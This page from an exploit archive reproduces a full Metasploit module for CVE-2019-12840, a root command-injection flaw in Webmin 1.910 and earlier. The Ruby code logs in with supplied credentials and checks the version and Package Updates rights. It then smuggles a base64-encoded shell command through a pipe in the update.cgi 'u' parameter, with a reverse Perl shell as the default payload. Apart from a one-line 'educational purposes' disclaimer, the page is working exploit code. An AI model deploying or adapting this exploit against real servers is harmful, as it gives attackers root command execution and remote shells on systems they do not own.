Webmin 1.910 package updates remote command execution (metasploit) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-06-11 | Type : remote | Platform : linux
This exploit / vulnerability Webmin 1.910 package updates remote command execution (metasploit) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Webmin Package Updates Remote Command Execution',
'Description' => %q(
This module exploits an arbitrary command execution vulnerability in Webmin
1.910 and lower versions. Any user authorized to the "Package Updates"
module can execute arbitrary commands with root privileges.
),
'Author' => [
'AkkuS <Özkan Mustafa Akkuş>' # Vulnerability Discovery, MSF PoC module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2019-12840'],
['URL', 'https://www.pentest.com.tr/exploits/Webmin-1910-Package-Updates-Remote-Command-Execution.html']
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd'
}
},
'DefaultOptions' =>
{
'RPORT' => 10000,
'SSL' => false,
'PAYLOAD' => 'cmd/unix/reverse_perl'
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [['Webmin <= 1.910', {}]],
'DisclosureDate' => 'May 16 2019',
'DefaultTarget' => 0)
)
register_options [
OptString.new('USERNAME', [true, 'Webmin Username']),
OptString.new('PASSWORD', [true, 'Webmin Password']),
OptString.new('TARGETURI', [true, 'Base path for Webmin application', '/'])
]
end

def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end

def login
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'session_login.cgi'),
'cookie' => 'testing=1', # it must be used for "Error - No cookies"
'vars_post' => {
'page' => '',
'user' => datastore['USERNAME'],
'pass' => datastore['PASSWORD']
}
})

if res && res.code == 302 && res.get_cookies =~ /sid=(\w+)/
return $1
end

return nil unless res
''
end

def check
cookie = login
return CheckCode::Detected if cookie == ''
return CheckCode::Unknown if cookie.nil?

vprint_status('Attempting to execute...')
# check version
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "sysinfo.cgi"),
'cookie' => "sid=#{cookie}",
'vars_get' => { "xnavigation" => "1" }
})

if res && res.code == 302 && res.body
version = res.body.split("- Webmin 1.")[1]
return CheckCode::Detected if version.nil?
version = version.split(" ")[0]
if version <= "910"
# check package update priv
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "package-updates/"),
'cookie' => "sid=#{cookie}"
})

if res && res.code == 200 && res.body =~ /Software Package Update/
print_status("NICE! #{datastore['USERNAME']} has the right to >>Package Update<<")
return CheckCode::Vulnerable
end
end
end
print_error("#{datastore['USERNAME']} doesn't have the right to >>Package Update<<")
print_status("Please try with another user account!")
CheckCode::Safe
end

def exploit
cookie = login
if cookie == '' || cookie.nil?
fail_with(Failure::Unknown, 'Failed to retrieve session cookie')
end
print_good("Session cookie: #{cookie}")

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'proc', 'index_tree.cgi'),
'headers' => { 'Referer' => "#{peer}/sysinfo.cgi?xnavigation=1" },
'cookie' => "sid=#{cookie}"
)
unless res && res.code == 200
fail_with(Failure::Unknown, 'Request failed')
end

print_status("Attempting to execute the payload...")
run_update(cookie)
end

def run_update(cookie)
@b64p = Rex::Text.encode_base64(payload.encoded)
perl_payload = 'bash -c "{echo,' + "#{@b64p}" + '}|{base64,-d}|{bash,-i}"'
payload = Rex::Text.uri_encode(perl_payload)

res = send_request_cgi(
{
'method' => 'POST',
'cookie' => "sid=#{cookie}",
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'package-updates', 'update.cgi'),
'headers' =>
{
'Referer' => "#{peer}/package-updates/?xnavigation=1"
},
'data' => "u=acl%2Fapt&u=%20%7C%20#{payload}&ok_top=Update+Selected+Packages"
})
end
end